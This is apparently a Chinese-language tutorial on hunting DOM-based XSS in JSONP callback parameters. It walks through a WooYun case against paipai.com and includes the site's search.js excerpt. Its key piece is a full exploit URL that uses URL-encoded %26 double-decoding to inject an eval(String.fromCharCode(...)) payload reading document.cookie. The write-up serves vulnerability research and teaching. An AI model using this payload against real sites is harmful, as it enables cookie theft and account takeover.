DOM XSS奥义
一些我们普遍了解的XSS 基本已经让大部分开发者们警醒,也都做了足够充分的教训,所以想要像以前那样随意的挖洞就不可能了,但是XSS 是无穷的,只要能深入源码,总会有所发现。
常常程序会动态加载json 数据,同域可以用ajax,而不同域时,就需要跨域请求,有一种方法是jsonp,利用callback回调完成跨域,而在调用外部数据的时候还会带上一些参数,而如果这些参数可控,我们就可以试图去挖掘漏洞。
对于跨域的请求来说,最常见的形式是这样:
1
| somescript.src="http://otherdomain.com/xx?jsonp=callback"
|
而为了方便,callback 后边会带上一些参数,有一些参数是用户可控的,那时候,就会造成困扰了:
1
| somescript.src="http://otherdomain.com/xx?jsonp=callback&id="+id;
|
如果其中的ID 可控,那就很有可能会带来问题,这算是一种地址可控,而地址可控分为三种形式:
一种是,完全可控,也就是src 后边的内容可以直接替换掉,这种可以直接利用,替换成我们的JS 地址。
一种是部分可控:
1
| script src="/path/xxx/[路径可控]/1.js"
|
这种情况下一般是在同域下寻找一个有漏洞的上传点,上传些文件什么的,以便利用。
第三种情况是参数可控:
1
| script src="/xxxx/json.php?callback=xxxx¶m1=yyy¶m2=[参数可控]"
|
以乌云某例为例:
http://sse1.paipai.com/comm_json?callback=commentListCallBack&dtag=1&ac=1&cluster=1&sellquality=0&NewProp=&Property=256&PageNum=1&PageSize=48&OrderStyle=80&Address=&SaleType=1°ree=1&AuthType=2&BeginPrice=&EndPrice=&KeyWord=2012%20%D0%C2&OnlineState=2&Paytype=4&ranking=&sClassid='aaaaaaaa&t=1354854681
经过简单在这个页面测试,我们可以发现,其中的callback, dtag, ranking 是可控的。不过可控的元素还是会被过滤的,比如常见的尖括号就一定会被过滤。
实际在使用中,访问这个跨域数据的是以下URL:
http://bag.paipai.com/search_list.shtml?type=&callback=alert(1);&np=11&pro=256&searchtype=2&cs=0010000&keyword=&PTAG=20058.13.13
因为dtag,ranking 是放在双引号里的,过滤了双引号,基本很难有可以应用的地方。而callback 则不是,如果能构造一个callback=alert(1) ,就可以执行XSS,不过在我们发现写在一开始的callback 并不能直接去改变值来控制它,我们可以想办法通过后边可控的参数,用&来分隔后再来一个callback=alert(1)来覆盖前边的callback。
不过一般来说,如果你在构造URL 的时候,如果使用了&,那就会直接认为你这是分隔符,这个方法就失效了。而如果我们试图使用%26 这个URL 编码来代替,但是它在传递的时候,并不会解码,所以也不会让服务器解析的时候才认定他是分隔符。
所以,只能去从源码里找漏洞,我们找到他的search.js脚本,定位到那一块观察上下文:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| function init() { var keyword = decodeURIComp($getQuery('keyword')), type = $getQuery('type'), searchtype = $getQuery('searchtype'); option.keyword = keyword; option.classId = type; option.searchType = searchtype || option.searchType; option.beginPrice = $getQuery('bp'); option.endPrice = $getQuery('ep'); option.NewProp = $getQuery('np') || $getQuery('newprop'); option.property = $getQuery('pro') || option.property; option.cid = $getQuery('cid'); option.Paytype = $getQuery('pt') || option.Paytype; option.hongbaoKeyword = $getQuery('hb'); option.conditionStatus = $getQuery('cs') || option.conditionStatus; option.showType = $getQuery('show') || option.showType; option.mode = $getQuery('mode') || option.mode; option.address = decodeURIComp($getQuery('adr')); option.orderStyle = $getQuery('os') || option.orderStyle || 80; option.hideKeyword = $getQuery('hkwd') == "true" ? true: false; option.ptag.currentPage = $getQuery('ptag') || $getQuery('PTAG'); var pageIndex = $getQuery('pi'), pageSize = $getQuery('ps'); option.pageIndex = (pageIndex && $isPInt(pageIndex)) ? pageIndex * 1: option.pageIndex; option.pageSize = (pageSize && $isPInt(pageSize)) ? pageSize * 1: option.pageSize; };
|
这里的脚本,就是jason参数和当前页面获得参数的一些关系,而其中有一个函数让我们看到了希望: decodeURLComp,它在传进来的时候,会被解码一次,有木有想起什么。对于这个keyword,如果我们使用了URL 编码传%26进去,他会解码成&,那么我们直接使用%26callback=alert(1),那就可以会被解码成一个分隔符,然后出发我们的漏洞。
构造URL:
http://bag.paipai.com/search_list.shtml?type=213280&np=11&pro=256&searchtype=2&cs=0010000&keyword=%26callback=eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41));void&PTAG=20058.13.13
抓个包,可以看到接收的json 数据已经得到改变:
弹窗就是自然的了。
其实,这个漏洞已经显得有些运气成分了,也可以说是开发者在业务的逻辑关系变得复杂之后,往往就缺乏足够的安全意识,去处理这些跨域安全问题了,往往在源码上,会造成一些漏洞。上边的例子我们也能看到,本身在过滤的逻辑上,已经很难寻找漏洞,但是因为开发者在处理流程的时候,没有去思考它可能的上下文关系,也就主动创造了一个漏洞出来。
DOM XSS 的内容,大概也就这么多了。在DOM XSS 漏洞的挖掘中,最常用的自动化挖掘方式,其实就是利用爬虫和抓包重放,爬虫通过遍历某网站的各种结构URL,然后抓包重放去构造独特的字符替换掉URL中那些可控的参数,通过服务器返回的状态,和内容,去挖掘可能存在的不安全因素。
而挖掘到不安全因素,只是XSS 最早的第一步,现在,那些最常见的漏洞已经基本销声匿迹,需要的是通过分析源码,寻找某个点的上下文关系,通过理清逻辑关系,寻找开发者在其中的疏漏,才能创造出合适的XSS。
script>